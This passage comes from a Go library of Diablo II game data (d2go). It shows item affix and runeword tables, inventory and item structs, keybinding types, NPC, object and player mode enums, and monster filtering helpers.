"Casque", ItemTypes: []string{"helm"}}, 79 | 68: {ID: 68, Name: "Visor", ItemTypes: []string{"helm"}}, 80 | 69: {ID: 69, Name: "Cowl", ItemTypes: []string{"helm"}}, 81 | 70: {ID: 70, Name: "Hide", ItemTypes: []string{"tors"}}, 82 | 71: {ID: 71, Name: "Pelt", ItemTypes: []string{"tors"}}, 83 | 72: {ID: 72, Name: "Carapace", ItemTypes: []string{"tors"}}, 84 | 73: {ID: 73, Name: "Coat", ItemTypes: []string{"tors"}}, 85 | 74: {ID: 74, Name: "Wrap", ItemTypes: []string{"tors"}}, 86 | 75: {ID: 75, Name: "Suit", ItemTypes: []string{"tors"}}, 87 | 76: {ID: 76, Name: "Cloak", ItemTypes: []string{"tors"}}, 88 | 77: {ID: 77, Name: "Shroud", ItemTypes: []string{"tors"}}, 89 | 78: {ID: 78, Name: "Jack", ItemTypes: []string{"tors"}}, 90 | 79: {ID: 79, Name: "Mantle", ItemTypes: []string{"tors"}}, 91 | 80: {ID: 80, Name: "Guard", ItemTypes: []string{"shld"}}, 92 | 81: {ID: 81, Name: "Badge", ItemTypes: []string{"shld"}}, 93 | 82: {ID: 82, Name: "Rock", ItemTypes: []string{"shld"}}, 94 | 83: {ID: 83, Name: "Aegis", ItemTypes: []string{"shld"}}, 95 | 84: {ID: 84, Name: "Ward", ItemTypes: []string{"shld"}}, 96 | 85: {ID: 85, Name: "Tower", ItemTypes: []string{"shld"}}, 97 | 86: {ID: 86, Name: "Shield", ItemTypes: []string{"shld"}}, 98 | 87: {ID: 87, Name: "Wing", ItemTypes: []string{"shld", "amul"}}, 99 | 88: {ID: 88, Name: "Mark", ItemTypes: []string{"shld", "amul"}}, 100 | 89: {ID: 89, Name: "Emblem", ItemTypes: []string{"shld", "amul"}}, 101 | 90: {ID: 90, Name: "Hand", ItemTypes: []string{"glov"}}, 102 | 91: {ID: 91, Name: "Fist", ItemTypes: []string{"glov", "h2h"}}, 103 | 92: {ID: 92, Name: "Claw", ItemTypes: []string{"glov", "h2h"}}, 104 | 93: {ID: 93, Name: "Clutches", ItemTypes: []string{"glov"}}, 105 | 94: {ID: 94, Name: "Grip", ItemTypes: []string{"glov", "ring"}}, 106 | 95: {ID: 95, Name: "Grasp", ItemTypes: []string{"glov", "ring"}}, 107 | 96: {ID: 96, Name: "Hold", ItemTypes: []string{"glov", "ring"}}, 108 | 97: {ID: 97, Name: "Touch", ItemTypes: []string{"glov", "ring"}}, 109 | 98: {ID: 98, Name: "Finger", ItemTypes: []string{"glov", "ring"}}, 110 | 99: {ID: 99, Name: "Knuckle", ItemTypes: []string{"glov"}}, 111 | 100: {ID: 100, Name: "Shank", ItemTypes: []string{"boot"}}, 112 | 101: {ID: 101, Name: "Spur", ItemTypes: []string{"boot"}}, 113 | 102: {ID: 102, Name: "Tread", ItemTypes: []string{"boot"}}, 114 | 103: {ID: 103, Name: "Stalker", ItemTypes: []string{"boot"}}, 115 | 104: {ID: 104, Name: "Greave", ItemTypes: []string{"boot"}}, 116 | 105: {ID: 105, Name: "Blazer", ItemTypes: []string{"boot"}}, 117 | 106: {ID: 106, Name: "Nails", ItemTypes: []string{"boot", "spea", "pole"}}, 118 | 107: {ID: 107, Name: "Trample", ItemTypes: []string{"boot"}}, 119 | 108: {ID: 108, Name: "Brogues", ItemTypes: []string{"boot"}}, 120 | 109: {ID: 109, Name: "Track", ItemTypes: []string{"boot"}}, 121 | 110: {ID: 110, Name: "Slippers", ItemTypes: []string{"boot"}}, 122 | 111: {ID: 111, Name: "Clasp", ItemTypes: []string{"belt", "amul"}}, 123 | 112: {ID: 112, Name: "Buckle", ItemTypes: []string{"belt"}}, 124 | 113: {ID: 113, Name: "Harness", ItemTypes: []string{"belt"}}, 125 | 114: {ID: 114, Name: "Lock", ItemTypes: []string{"belt"}}, 126 | 115: {ID: 115, Name: "Fringe", ItemTypes: []string{"belt"}}, 127 | 116: {ID: 116, Name: "Winding", ItemTypes: []string{"belt"}}, 128 | 117: {ID: 117, Name: "Chain", ItemTypes: []string{"belt"}}, 129 | 118: {ID: 118, Name: "Strap", ItemTypes: []string{"belt"}}, 130 | 119: {ID: 119, Name: "Lash", ItemTypes: []string{"belt"}}, 131 | 120: {ID: 120, Name: "Cord", ItemTypes: []string{"belt"}}, 132 | 121: {ID: 121, Name: "Knot", ItemTypes: []string{"ring"}}, 133 | 122: {ID: 122, Name: "Circle", ItemTypes: []string{"ring"}}, 134 | 123: {ID: 123, Name: "Loop", ItemTypes: []string{"ring"}}, 135 | 124: {ID: 124, Name: "Eye", ItemTypes: []string{"misc"}}, 136 | 125: {ID: 125, Name: "Turn", ItemTypes: []string{"ring"}}, 137 | 126: {ID: 126, Name: "Spiral", ItemTypes: []string{"ring"}}, 138 | 127: {ID: 127, Name: "Coil", ItemTypes: []string{"ring"}}, 139 | 128: {ID: 128, Name: "Gyre", ItemTypes: []string{"ring", "orb", "jewl"}}, 140 | 129: {ID: 129, Name: "Band", ItemTypes: []string{"ring"}}, 141 | 130: {ID: 130, Name: "Whorl", ItemTypes: []string{"ring", "orb", "jewl"}}, 142 | 131: {ID: 131, Name: "Talisman", ItemTypes: []string{"amul", "jewl"}}, 143 | 132: {ID: 132, Name: "Heart", ItemTypes: []string{"amul", "orb", "jewl"}}, 144 | 133: {ID: 133, Name: "Noose", ItemTypes: []string{"amul"}}, 145 | 134: {ID: 134, Name: "Necklace", ItemTypes: []string{"amul"}}, 146 | 135: {ID: 135, Name: "Collar", ItemTypes: []string{"amul"}}, 147 | 136: {ID: 136, Name: "Beads", ItemTypes: []string{"amul"}}, 148 | 137: {ID: 137, Name: "Torc", ItemTypes: []string{"amul"}}, 149 | 138: {ID: 138, Name: "Gorget", ItemTypes: []string{"amul"}}, 150 | 139: {ID: 139, Name: "Scarab", ItemTypes: []string{"amul", "jewl"}}, 151 | 140: {ID: 140, Name: "Wood", ItemTypes: []string{"spea", "pole", "wand", "staf"}}, 152 | 141: {ID: 141, Name: "Brand", ItemTypes: []string{"blun"}}, 153 | 142: {ID: 142, Name: "Bludgeon", ItemTypes: []string{"blun"}}, 154 | 143: {ID: 143, Name: "Cudgel", ItemTypes: []string{"club", "wand"}}, 155 | 144: {ID: 144, Name: "Loom", ItemTypes: []string{"miss"}}, 156 | 145: {ID: 145, Name: "Harp", ItemTypes: []string{"miss"}}, 157 | 146: {ID: 146, Name: "Master", ItemTypes: []string{"ring"}}, 158 | 147: {ID: 147, Name: "Bar", ItemTypes: []string{"blun", "spea", "pole"}}, 159 | 148: {ID: 148, Name: "Hew", ItemTypes: []string{"swor", "knif", "axe"}}, 160 | 149: {ID: 149, Name: "Crook", ItemTypes: []string{"staf"}}, 161 | 150: {ID: 150, Name: "Mar", ItemTypes: []string{"swor", "knif", "mace", "club", "hamm", "spea"}}, 162 | 151: {ID: 151, Name: "Shell", ItemTypes: []string{"tors", "helm", "shld"}}, 163 | 152: {ID: 152, Name: "Stake", ItemTypes: []string{"spea", "pole"}}, 164 | 153: {ID: 153, Name: "Picket", ItemTypes: []string{"spea", "pole"}}, 165 | 154: {ID: 154, Name: "Pale", ItemTypes: []string{"spea", "pole"}}, 166 | 155: {ID: 155, Name: "Flange", ItemTypes: []string{"tors", "mace", "hamm", "scep"}}, 167 | } 168 | -------------------------------------------------------------------------------- /pkg/data/item/runeword.go: -------------------------------------------------------------------------------- 1 | package item 2 | 3 | type RunewordName string 4 | 5 | const ( 6 | RunewordNone RunewordName = "" 7 | RunewordAncientsPledge RunewordName = "Ancients' Pledge" 8 | RunewordBeast RunewordName = "Beast" 9 | RunewordBlack RunewordName = "Black" 10 | RunewordBone RunewordName = "Bone" 11 | RunewordBramble RunewordName = "Bramble" 12 | RunewordBrand RunewordName = "Brand" 13 | RunewordBreathOfTheDying RunewordName = "Breath of the Dying" 14 | RunewordCallToArms RunewordName = "Call to Arms" 15 | RunewordChainsOfHonor RunewordName = "Chains of Honor" 16 | RunewordChaos RunewordName = "Chaos" 17 | RunewordCrescentMoon RunewordName = "Crescent Moon" 18 | RunewordDeath RunewordName = "Death" 19 | RunewordDelerium RunewordName = "Delerium" 20 | RunewordDestruction RunewordName = "Destruction" 21 | RunewordDoom RunewordName = "Doom" 22 | RunewordDragon RunewordName = "Dragon" 23 | RunewordDream RunewordName = "Dream" 24 | RunewordDuress RunewordName = "Duress" 25 | RunewordEdge RunewordName = "Edge" 26 | RunewordEnigma RunewordName = "Enigma" 27 | RunewordEnlightenment RunewordName = "Enlightenment" 28 | RunewordEternity RunewordName = "Eternity" 29 | RunewordExile RunewordName = "Exile" 30 | RunewordFaith RunewordName = "Faith" 31 | RunewordFamine RunewordName = "Famine" 32 | RunewordFlickeringFlame RunewordName = "Flickering Flame" 33 | RunewordFortitude RunewordName = "Fortitude" 34 | RunewordFury RunewordName = "Fury" 35 | RunewordGloom RunewordName = "Gloom" 36 | RunewordGrief RunewordName = "Grief" 37 | RunewordHandOfJustice RunewordName = "Hand of Justice" 38 | RunewordHarmony RunewordName = "Harmony" 39 | RunewordHeartOfTheOak RunewordName = "Heart of the Oak" 40 | RunewordHolyThunder RunewordName = "Holy Thunder" 41 | RunewordHonor RunewordName = "Honor" 42 | RunewordIce RunewordName = "Ice" 43 | RunewordInfinity RunewordName = "Infinity" 44 | RunewordInsight RunewordName = "Insight" 45 | RunewordKingsGrace RunewordName = "King's Grace" 46 | RunewordKingslayer RunewordName = "Kingslayer" 47 | RunewordLastWish RunewordName = "Last Wish" 48 | RunewordLawbringer RunewordName = "Lawbringer" 49 | RunewordLeaf RunewordName = "Leaf" 50 | RunewordLionheart RunewordName = "Lionheart" 51 | RunewordLore RunewordName = "Lore" 52 | RunewordMalice RunewordName = "Malice" 53 | RunewordMelody RunewordName = "Melody" 54 | RunewordMemory RunewordName = "Memory" 55 | RunewordMist RunewordName = "Mist" 56 | RunewordMyth RunewordName = "Myth" 57 | RunewordNadir RunewordName = "Nadir" 58 | RunewordOath RunewordName = "Oath" 59 | RunewordObedience RunewordName = "Obedience" 60 | RunewordObsession RunewordName = "Obsession" 61 | RunewordPassion RunewordName = "Passion" 62 | RunewordPattern RunewordName = "Pattern" 63 | RunewordPeace RunewordName = "Peace" 64 | RunewordPhoenix RunewordName = "Phoenix" 65 | RunewordPlague RunewordName = "Plague" 66 | RunewordPride RunewordName = "Pride" 67 | RunewordPrinciple RunewordName = "Principle" 68 | RunewordPrudence RunewordName = "Prudence" 69 | RunewordRadiance RunewordName = "Radiance" 70 | RunewordRain RunewordName = "Rain" 71 | RunewordRhyme RunewordName = "Rhyme" 72 | RunewordRift RunewordName = "Rift" 73 | RunewordSanctuary RunewordName = "Sanctuary" 74 | RunewordSilence RunewordName = "Silence" 75 | RunewordSmoke RunewordName = "Smoke" 76 | RunewordSpirit RunewordName = "Spirit" 77 | RunewordSplendor RunewordName = "Splendor" 78 | RunewordStealth RunewordName = "Stealth" 79 | RunewordSteel RunewordName = "Steel" 80 | RunewordStone RunewordName = "Stone" 81 | RunewordStrength RunewordName = "Strength" 82 | RunewordTreachery RunewordName = "Treachery" 83 | RunewordUnbendingWill RunewordName = "Unbending Will" 84 | RunewordVenom RunewordName = "Venom" 85 | RunewordVoiceOfReason RunewordName = "Voice of Reason" 86 | RunewordWealth RunewordName = "Wealth" 87 | RunewordWhite RunewordName = "White" 88 | RunewordWind RunewordName = "Wind" 89 | RunewordWisdom RunewordName = "Wisdom" 90 | RunewordWrath RunewordName = "Wrath" 91 | RunewordZephyr RunewordName = "Zephyr" 92 | RunewordHustle RunewordName = "Hustle" 93 | RunewordMosaic RunewordName = "Mosaic" 94 | RunewordMetamorphosis RunewordName = "Metamorphosis" 95 | RunewordGround RunewordName = "Ground" 96 | RunewordTemper RunewordName = "Temper" 97 | RunewordHearth RunewordName = "Hearth" 98 | RunewordCure RunewordName = "Cure" 99 | RunewordBulwark RunewordName = "Bulwark" 100 | ) 101 | 102 | var RunewordIDMap = map[int16]RunewordName{ 103 | 20507: RunewordAncientsPledge, 104 | 20510: RunewordBeast, 105 | 20512: RunewordBlack, 106 | 20514: RunewordBone, 107 | 20515: RunewordBramble, 108 | 20516: RunewordBrand, 109 | 20517: RunewordBreathOfTheDying, 110 | 20519: RunewordCallToArms, 111 | 20520: RunewordChainsOfHonor, 112 | 20522: RunewordChaos, 113 | 20523: RunewordCrescentMoon, 114 | 20526: RunewordDeath, 115 | 20528: RunewordDelerium, 116 | 20531: RunewordDestruction, 117 | 20532: RunewordDoom, 118 | 20533: RunewordDragon, 119 | 20535: RunewordDream, 120 | 20536: RunewordDuress, 121 | 20537: RunewordEdge, 122 | 20539: RunewordEnigma, 123 | 20540: RunewordEnlightenment, 124 | 20542: RunewordEternity, 125 | 20543: RunewordExile, 126 | 20544: RunewordFaith, 127 | 20545: RunewordFamine, 128 | 20546: RunewordFlickeringFlame, 129 | 20547: RunewordFortitude, 130 | 20550: RunewordFury, 131 | 20551: RunewordGloom, 132 | 20553: RunewordGrief, 133 | 20554: RunewordHandOfJustice, 134 | 20555: RunewordHarmony, 135 | 20557: RunewordHeartOfTheOak, 136 | 20560: RunewordHolyThunder, 137 | 20561: RunewordHonor, 138 | 20565: RunewordIce, 139 | 20566: RunewordInfinity, 140 | 20568: RunewordInsight, 141 | 20571: RunewordKingsGrace, 142 | 20572: RunewordKingslayer, 143 | 20575: RunewordLastWish, 144 | 20577: RunewordLawbringer, 145 | 20578: RunewordLeaf, 146 | 20580: RunewordLionheart, 147 | 20581: RunewordLore, 148 | 20586: RunewordMalice, 149 | 20587: RunewordMelody, 150 | 20588: RunewordMemory, 151 | 20589: RunewordMist, 152 | 20592: RunewordMyth, 153 | 20593: RunewordNadir, 154 | 20596: RunewordOath, 155 | 20597: RunewordObedience, 156 | 20599: RunewordObsession, 157 | 20600: RunewordPassion, 158 | 20602: RunewordPattern, 159 | 20603: RunewordPeace, 160 | 20608: RunewordPhoenix, 161 | 20611: RunewordPlague, 162 | 20614: RunewordPride, 163 | 20615: RunewordPrinciple, 164 | 20617: RunewordPrudence, 165 | 20621: RunewordRadiance, 166 | 20622: RunewordRain, 167 | 20625: RunewordRhyme, 168 | 20626: RunewordRift, 169 | 20627: RunewordSanctuary, 170 | 20631: RunewordSilence, 171 | 20633: RunewordSmoke, 172 | 20635: RunewordSpirit, 173 | 20636: RunewordSplendor, 174 | 20638: RunewordStealth, 175 | 20639: RunewordSteel, 176 | 20642: RunewordStone, 177 | 20644: RunewordStrength, 178 | 20653: RunewordTreachery, 179 | 20656: RunewordUnbendingWill, 180 | 20659: RunewordVenom, 181 | 20661: RunewordVoiceOfReason, 182 | 20665: RunewordWealth, 183 | 20667: RunewordWhite, 184 | 20668: RunewordWind, 185 | 20670: RunewordWisdom, 186 | 20673: RunewordWrath, 187 | 20675: RunewordZephyr, 188 | 27360: RunewordHustle, 189 | 27362: RunewordMosaic, 190 | 27363: RunewordMetamorphosis, 191 | 27364: RunewordGround, 192 | 27365: RunewordTemper, 193 | 27366: RunewordHearth, 194 | 27367: RunewordCure, 195 | 27368: RunewordBulwark, 196 | } 197 | -------------------------------------------------------------------------------- /pkg/data/item/tier.go: -------------------------------------------------------------------------------- 1 | package item 2 | 3 | type Tier int 4 | 5 | const ( 6 | TierNormal Tier = iota 7 | TierExceptional 8 | TierElite 9 | ) 10 | -------------------------------------------------------------------------------- /pkg/data/item/type.go: -------------------------------------------------------------------------------- 1 | package item 2 | 3 | type Type struct { 4 | ID int 5 | Name string 6 | Code string 7 | Throwable bool 8 | Beltable bool 9 | BodyLocs []LocationType 10 | } 11 | 12 | // TODO: Refactor to support parent types 13 | func (t Type) IsType(typeName string) bool { 14 | return t.Code == typeName 15 | } 16 | -------------------------------------------------------------------------------- /pkg/data/items.go: -------------------------------------------------------------------------------- 1 | package data 2 | 3 | import ( 4 | "strings" 5 | 6 | "github.com/notedhouse/d2go/pkg/data/item" 7 | "github.com/notedhouse/d2go/pkg/data/stat" 8 | ) 9 | 10 | type Inventory struct { 11 | Belt Belt 12 | AllItems []Item 13 | Gold int 14 | StashedGold [4]int 15 | } 16 | 17 | func (i Inventory) Find(name item.Name, locations ...item.LocationType) (Item, bool) { 18 | for _, it := range i.AllItems { 19 | if strings.EqualFold(string(it.Name), string(name)) { 20 | // If no locations are specified, return the first item found 21 | if len(locations) == 0 { 22 | return it, true 23 | } 24 | 25 | for _, l := range locations { 26 | if it.Location.LocationType == l { 27 | return it, true 28 | } 29 | } 30 | } 31 | } 32 | 33 | return Item{}, false 34 | } 35 | 36 | func (i Inventory) FindByID(unitID UnitID) (Item, bool) { 37 | for _, it := range i.AllItems { 38 | if it.UnitID == unitID { 39 | return it, true 40 | } 41 | } 42 | 43 | return Item{}, false 44 | } 45 | 46 | func (i Inventory) ByLocation(locations ...item.LocationType) []Item { 47 | var items []Item 48 | 49 | for _, it := range i.AllItems { 50 | for _, l := range locations { 51 | if it.Location.LocationType == l { 52 | items = append(items, it) 53 | } 54 | } 55 | } 56 | 57 | return items 58 | } 59 | 60 | func (i Inventory) Matrix() [4][10]bool { 61 | invMatrix := [4][10]bool{} // false = empty, true = occupied 62 | for _, itm := range i.ByLocation(item.LocationInventory) { 63 | for k := range itm.Desc().InventoryWidth { 64 | for j := range itm.Desc().InventoryHeight { 65 | invMatrix[itm.Position.Y+j][itm.Position.X+k] = true 66 | } 67 | } 68 | } 69 | 70 | return invMatrix 71 | } 72 | 73 | type UnitID int 74 | 75 | type ItemAffixes struct { 76 | Rare struct { 77 | Prefix int16 78 | Suffix int16 79 | } 80 | Magic struct { 81 | Prefixes [3]int16 // Prefix1, Prefix2, Prefix3 82 | Suffixes [3]int16 // Suffix1, Suffix2, Suffix3 83 | } 84 | } 85 | 86 | type Item struct { 87 | ID int 88 | UnitID 89 | Name item.Name 90 | Quality item.Quality 91 | IdentifiedName string 92 | RunewordName item.RunewordName 93 | LevelReq int 94 | Position Position 95 | Location item.Location 96 | Ethereal bool 97 | IsHovered bool 98 | BaseStats stat.Stats 99 | Stats stat.Stats 100 | Affixes ItemAffixes 101 | Sockets []Item 102 | Identified bool 103 | IsRuneword bool 104 | IsNamed bool 105 | IsStartItem bool 106 | IsEar bool 107 | IsBroken bool 108 | HasBeenEquipped bool 109 | HasSockets bool 110 | InTradeOrStoreScreen bool 111 | IsInSocket bool 112 | UniqueSetID int32 113 | } 114 | 115 | type Drop struct { 116 | Item Item 117 | Rule string 118 | RuleFile string 119 | DropLocation string 120 | } 121 | 122 | func (i Item) Desc() item.Description { 123 | return item.Desc[i.ID] 124 | } 125 | 126 | func (i Item) Type() item.Type { 127 | return i.Desc().GetType() 128 | } 129 | 130 | func (i Item) IsPotion() bool { 131 | return i.IsHealingPotion() || i.IsManaPotion() || i.IsRejuvPotion() 132 | } 133 | 134 | func (i Item) IsHealingPotion() bool { 135 | return i.Type().IsType(item.TypeHealingPotion) 136 | } 137 | 138 | func (i Item) IsManaPotion() bool { 139 | return i.Type().IsType(item.TypeManaPotion) 140 | } 141 | 142 | func (i Item) IsRejuvPotion() bool { 143 | return i.Type().IsType(item.TypeRejuvPotion) 144 | } 145 | 146 | func (i Item) IsFromQuest() bool { 147 | return i.Type().IsType(item.TypeQuest) 148 | } 149 | 150 | func (i Item) FindStat(id stat.ID, layer int) (stat.Data, bool) { 151 | st, found := i.Stats.FindStat(id, layer) 152 | if found { 153 | return st, true 154 | } 155 | 156 | return i.BaseStats.FindStat(id, layer) 157 | } 158 | 159 | func (i Item) HasPrefix(id int16) bool { 160 | // Check rare prefix 161 | if i.Affixes.Rare.Prefix == id { 162 | return true 163 | } 164 | 165 | // Check magic prefixes 166 | for _, prefix := range i.Affixes.Magic.Prefixes { 167 | if prefix == id { 168 | return true 169 | } 170 | } 171 | return false 172 | } 173 | 174 | func (i Item) HasSuffix(id int16) bool { 175 | // Check rare suffix 176 | if i.Affixes.Rare.Suffix == id { 177 | return true 178 | } 179 | 180 | // Check magic suffixes 181 | for _, suffix := range i.Affixes.Magic.Suffixes { 182 | if suffix == id { 183 | return true 184 | } 185 | } 186 | return false 187 | } 188 | 189 | func (a ItemAffixes) GetRarePrefix() (item.RarePrefix, bool) { 190 | prefix, exists := item.RarePrefixDesc[int(a.Rare.Prefix)] 191 | return prefix, exists 192 | } 193 | 194 | func (a ItemAffixes) GetRareSuffix() (item.RareSuffix, bool) { 195 | suffix, exists := item.RareSuffixDesc[int(a.Rare.Suffix)] 196 | return suffix, exists 197 | } 198 | 199 | func (a ItemAffixes) GetMagicPrefixes() []item.MagicPrefix { 200 | prefixes := make([]item.MagicPrefix, 0, 3) 201 | for _, id := range a.Magic.Prefixes { 202 | if prefix, exists := item.MagicPrefixDesc[int(id)]; exists && id != 0 { 203 | prefixes = append(prefixes, prefix) 204 | } 205 | } 206 | return prefixes 207 | } 208 | 209 | func (a ItemAffixes) GetMagicSuffixes() []item.MagicSuffix { 210 | suffixes := make([]item.MagicSuffix, 0, 3) 211 | for _, id := range a.Magic.Suffixes { 212 | if suffix, exists := item.MagicSuffixDesc[int(id)]; exists && id != 0 { 213 | suffixes = append(suffixes, suffix) 214 | } 215 | } 216 | return suffixes 217 | } 218 | 219 | func (i Item) GetSocketedItems() []Item { 220 | return i.Sockets 221 | } 222 | func (i Item) HasSocketedItems() bool { 223 | return len(i.Sockets) > 0 224 | } 225 | -------------------------------------------------------------------------------- /pkg/data/keybindings.go: -------------------------------------------------------------------------------- 1 | package data 2 | 3 | import "github.com/notedhouse/d2go/pkg/data/skill" 4 | 5 | type KeyBindings struct { 6 | CharacterScreen KeyBinding 7 | Inventory KeyBinding 8 | HoradricCube KeyBinding 9 | PartyScreen KeyBinding 10 | MercenaryScreen KeyBinding 11 | MessageLog KeyBinding 12 | QuestLog KeyBinding 13 | HelpScreen KeyBinding 14 | 15 | SkillTree KeyBinding 16 | SkillSpeedBar KeyBinding 17 | Skills [16]SkillBinding 18 | SelectPreviousSkill KeyBinding 19 | SelectNextSkill KeyBinding 20 | 21 | ShowBelt KeyBinding 22 | UseBelt [4]KeyBinding 23 | SwapWeapons KeyBinding 24 | 25 | Chat KeyBinding 26 | Run KeyBinding 27 | ToggleRunWalk KeyBinding 28 | StandStill KeyBinding 29 | ForceMove KeyBinding 30 | ShowItems KeyBinding 31 | ShowPortraits KeyBinding 32 | 33 | Automap KeyBinding 34 | CenterAutomap KeyBinding 35 | FadeAutomap KeyBinding 36 | PartyOnAutomap KeyBinding 37 | NamesOnAutomap KeyBinding 38 | ToggleMiniMap KeyBinding 39 | 40 | SayHelp KeyBinding 41 | SayFollowMe KeyBinding 42 | SayThisIsForYou KeyBinding 43 | SayThanks KeyBinding 44 | SaySorry KeyBinding 45 | SayBye KeyBinding 46 | SayNowYouDie KeyBinding 47 | SayRetreat KeyBinding 48 | 49 | ClearScreen KeyBinding 50 | ClearMessages KeyBinding 51 | Zoom KeyBinding 52 | LegacyToggle KeyBinding 53 | } 54 | 55 | type KeyBinding struct { 56 | Key1 [2]byte 57 | Key2 [2]byte 58 | } 59 | 60 | type SkillBinding struct { 61 | SkillID skill.ID 62 | KeyBinding 63 | } 64 | 65 | func (kb KeyBindings) KeyBindingForSkill(skillID skill.ID) (KeyBinding, bool) { 66 | for _, sk := range kb.Skills { 67 | if sk.SkillID == skillID { 68 | return sk.KeyBinding, true 69 | } 70 | } 71 | 72 | return KeyBinding{}, false 73 | } 74 | 75 | func (kb KeyBindings) MustKBForSkill(skillID skill.ID) KeyBinding { 76 | k, _ := kb.KeyBindingForSkill(skillID) 77 | 78 | return k 79 | } 80 | -------------------------------------------------------------------------------- /pkg/data/mode/npc_mode.go: -------------------------------------------------------------------------------- 1 | package mode 2 | 3 | type NpcMode uint32 4 | 5 | const ( 6 | NpcDeath NpcMode = iota 7 | NpcStandingStill 8 | NpcWalking 9 | NpcGettingHit 10 | NpcAttacking1 11 | NpcAttacking2 12 | NpcBlocking 13 | NpcCastingSpell 14 | NpcUsingSkill1 15 | NpcUsingSkill2 16 | NpcUsingSkill3 17 | NpcUsingSkill4 18 | NpcDead 19 | NpcKnockedBack 20 | NpcActionSequence 21 | NpcRunning 22 | ) 23 | -------------------------------------------------------------------------------- /pkg/data/mode/object_mode.go: -------------------------------------------------------------------------------- 1 | package mode 2 | 3 | type ObjectMode uint32 4 | 5 | const ( 6 | ObjectModeIdle ObjectMode = 0 7 | ObjectModeOperating ObjectMode = 1 8 | ObjectModeOpened ObjectMode = 2 9 | ObjectModeSpecial1 ObjectMode = 3 10 | ObjectModeSpecial2 ObjectMode = 4 11 | ObjectModeSpecial3 ObjectMode = 5 12 | ObjectModeSpecial4 ObjectMode = 6 13 | ObjectModeSpecial5 ObjectMode = 7 14 | 15 | ) 16 | 17 | func (m ObjectMode) String() string { 18 | switch m { 19 | case ObjectModeIdle: 20 | return "Idle" 21 | case ObjectModeOperating: 22 | return "Operating" 23 | case ObjectModeOpened: 24 | return "Opened" 25 | case ObjectModeSpecial1: 26 | return "Special1" 27 | case ObjectModeSpecial2: 28 | return "Special2" 29 | case ObjectModeSpecial3: 30 | return "Special3" 31 | case ObjectModeSpecial4: 32 | return "Special4" 33 | case ObjectModeSpecial5: 34 | return "Special5" 35 | default: 36 | return "Unknown" 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /pkg/data/mode/player_mode.go: -------------------------------------------------------------------------------- 1 | package mode 2 | 3 | type PlayerMode uint32 4 | 5 | const ( 6 | Death PlayerMode = iota 7 | StandingOutsideTown 8 | Walking 9 | Running 10 | GettingHit 11 | StandingInTown 12 | WalkingInTown 13 | Attacking1 14 | Attacking2 15 | Blocking 16 | CastingSkill 17 | ThrowingItem 18 | Kicking 19 | UsingSkill1 20 | UsingSkill2 21 | UsingSkill3 22 | UsingSkill4 23 | Dead 24 | SkillActionSequence 25 | KnockedBack 26 | ) 27 | -------------------------------------------------------------------------------- /pkg/data/npc.go: -------------------------------------------------------------------------------- 1 | package data 2 | 3 | import ( 4 | "github.com/notedhouse/d2go/pkg/data/mode" 5 | "github.com/notedhouse/d2go/pkg/data/npc" 6 | "github.com/notedhouse/d2go/pkg/data/stat" 7 | "github.com/notedhouse/d2go/pkg/data/state" 8 | ) 9 | 10 | type NPC struct { 11 | ID npc.ID 12 | Name string 13 | Positions []Position 14 | } 15 | 16 | type MonsterType string 17 | 18 | type Monster struct { 19 | UnitID 20 | Name npc.ID 21 | IsHovered bool 22 | Position Position 23 | Stats map[stat.ID]int 24 | Type MonsterType 25 | States state.States 26 | Mode mode.NpcMode 27 | } 28 | 29 | type Monsters []Monster 30 | type NPCs []NPC 31 | 32 | func (n NPCs) FindOne(npcid npc.ID) (NPC, bool) { 33 | for _, np := range n { 34 | if np.ID == npcid { 35 | return np, true 36 | } 37 | } 38 | 39 | return NPC{}, false 40 | } 41 | 42 | func (m Monsters) FindOne(id npc.ID, t MonsterType) (Monster, bool) { 43 | for _, monster := range m { 44 | if monster.Name == id { 45 | if t == MonsterTypeNone || t == monster.Type { 46 | return monster, true 47 | } 48 | } 49 | } 50 | 51 | return Monster{}, false 52 | } 53 | 54 | func (m Monsters) Enemies(filters ...MonsterFilter) []Monster { 55 | monsters := make([]Monster, 0) 56 | for _, mo := range m { 57 | if !mo.IsMerc() && !mo.IsSkip() && !mo.IsGoodNPC() && !mo.IsPet() && mo.Stats[stat.Life] > 0 { 58 | monsters = append(monsters, mo) 59 | } 60 | } 61 | 62 | for _, f := range filters { 63 | monsters = f(monsters) 64 | } 65 | 66 | return monsters 67 | } 68 | 69 | type MonsterFilter func(m Monsters) []Monster 70 | 71 | func MonsterEliteFilter() MonsterFilter { 72 | return func(m Monsters) []Monster { 73 | var filteredMonsters []Monster 74 | for _, mo := range m { 75 | if mo.IsElite() { 76 | filteredMonsters = append(filteredMonsters, mo) 77 | } 78 | } 79 | 80 | return filteredMonsters 81 | } 82 | } 83 | 84 | func MonsterAnyFilter() MonsterFilter { 85 | return func(m Monsters) []Monster { 86 | return m 87 | } 88 | } 89 | 90 | func (m Monsters) FindByID(id UnitID) (Monster, bool) { 91 | for _, monster := range m { 92 | if monster.UnitID == id { 93 | return monster, true 94 | } 95 | } 96 | 97 | return Monster{}, false 98 | } 99 | 100 | func (m Monster) IsImmune(resist stat.Resist) bool { 101 | for st, value := range m.Stats { 102 | // We only want max resistance 103 | if value < 100 { 104 | continue 105 | } 106 | if resist == stat.ColdImmune && st == stat.ColdResist { 107 | return true 108 | } 109 | if resist == stat.FireImmune && st == stat.FireResist { 110 | return true 111 | } 112 | if resist == stat.LightImmune && st == stat.LightningResist { 113 | return true 114 | } 115 | if resist == stat.PoisonImmune && st == stat.PoisonResist { 116 | return true 117 | } 118 | if resist == stat.MagicImmune && st == stat.MagicResist { 119 | return true 120 | } 121 | } 122 | return false 123 | } 124 | 125 | func (m Monster) IsMerc() bool { 126 | if m.Name == npc.Guard || m.Name == npc.Act5Hireling1Hand || m.Name == npc.Act5Hireling2Hand || m.Name == npc.IronWolf || m.Name == npc.Rogue2 { 127 | return true 128 | } 129 | 130 | return false 131 | } 132 | 133 | func (m Monster) IsPet() bool { 134 | // Necro revive 135 | if m.States.HasState(state.Revive) { 136 | return true 137 | } 138 | 139 | switch m.Name { 140 | case npc.DruHawk, npc.DruSpiritWolf, npc.DruFenris, npc.HeartOfWolverine, 141 | npc.OakSage, npc.DruBear, npc.DruPlaguePoppy, npc.VineCreature, 142 | npc.DruCycleOfLife, npc.ClayGolem, npc.BloodGolem, npc.IronGolem, 143 | npc.FireGolem, npc.NecroSkeleton, npc.NecroMage, npc.Valkyrie, npc.Decoy, 144 | npc.ShadowWarrior, npc.ShadowMaster: 145 | return true 146 | default: 147 | return false 148 | } 149 | } 150 | 151 | func (m Monster) IsGoodNPC() bool { 152 | switch m.Name { 153 | case 146, 154, 147, 150, 155, 148, 244, 210, 175, 